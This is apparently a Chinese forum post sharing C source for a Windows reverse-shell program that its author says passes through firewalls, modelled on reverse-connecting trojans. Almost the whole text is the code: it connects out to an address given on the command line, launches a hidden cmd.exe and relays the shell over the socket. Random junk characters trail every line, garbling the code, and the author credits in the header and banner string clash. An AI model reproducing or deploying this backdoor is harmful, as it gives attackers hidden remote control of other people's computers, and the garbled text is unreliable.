这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q+3Z3v
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/* ============================== y^pk)`y8
Rebound port in Windows NT RhnSQe
By wind,2006/7 bec n$R
===============================*/ $f*N
#include ln'7kg
#include ]P(:z
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#pragma comment(lib,"wsock32.lib") c7q1;X{:
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void OutputShell(); ._~_OVU
SOCKET sClient; qWHH%
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /0d_{Y+9
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void main(int argc,char **argv) p8oOm>B96n
{ R(kr@hM
WSADATA stWsaData; _,=A\C_b@
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; Cv>|>Ob#
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if(argc != 3) S WVeUL#5
{ 7qA0bUee5
printf("Useage:\n\rRebound DestIP DestPort\n"); nY'0*:'u
return; 1<fS&)^W
} y!6B Gz
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WSAStartup(MAKEWORD(2,2),&stWsaData); kTAb
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {xW?v;
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stSaiClient.sin_family = AF_INET; JWr:/?
stSaiClient.sin_port = htons(0); wXMKQ)$(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); KF|+#qCN
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z%y>q|:
{ !Sy._NE`z
printf("Bind Socket Failed!\n"); _Buwz_[&
return; \acJ9N
} dD?1te
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stSaiServer.sin_family = AF_INET; lt|\$Iy(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o=_:g >5
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cNtGjLpx;
{ [pUw(KV2m
printf("Connect Error!"); wV+ W(
return; -X'HZ\)
} bvuoGG*
OutputShell(); `ky<
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} %2f``48#
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void OutputShell() *&q\)\(3w
{ WM.JoQ
char szBuff[1024]; 0Jm6 r4s?
SECURITY_ATTRIBUTES stSecurityAttributes; KiT>W~
OSVERSIONINFO stOsversionInfo; ,aeQXI#@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Gi~p-OS,
STARTUPINFO stStartupInfo; 2qo=ud
char *szShell; ~YA*
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PROCESS_INFORMATION stProcessInformation; 5B#q/d1/a
unsigned long lBytesRead; .X\p;~H
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mp!KPw08':
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )XmV3.rI
stSecurityAttributes.lpSecurityDescriptor = 0; }&I\a
stSecurityAttributes.bInheritHandle = TRUE; f_}/JF
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P9p:x6
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); SUINV_>7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6v(}<2~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9 [v=`
stStartupInfo.wShowWindow = SW_HIDE; X^ckTIdR
stStartupInfo.hStdInput = hReadPipe; |!E>I
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; dqnH7okZ
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GetVersionEx(&stOsversionInfo); K*&M:u6E
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switch(stOsversionInfo.dwPlatformId) SeN4gr*
{ }l~|c{WH`
case 1: L^i=RGx
szShell = "command.com"; Nz_c]3_j
break; 7cW9@xPe
default: $m,gQV~4
szShell = "cmd.exe"; cjAKc|N J
break; <`k\kZM
} Ni#!C:q
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'bJ!~ML&
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send(sClient,szMsg,77,0); rl4B(NZi}
while(1) 7zXFQ|TP
{ v#0F1a?]D
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8^\}\@
if(lBytesRead) :i_818h!?[
{ 4e~^G
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u.sF/T=6f
send(sClient,szBuff,lBytesRead,0); R*a5bKr
} d9>*a$x;/
else #"-?+F=rk
{ 5Ds/^fA
lBytesRead=recv(sClient,szBuff,1024,0); 0D/u`-
if(lBytesRead<=0) break; (|)`~z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); w`=_|4wFw
} ZUP\)[~
} T6m#sVq
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return; Yv k
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}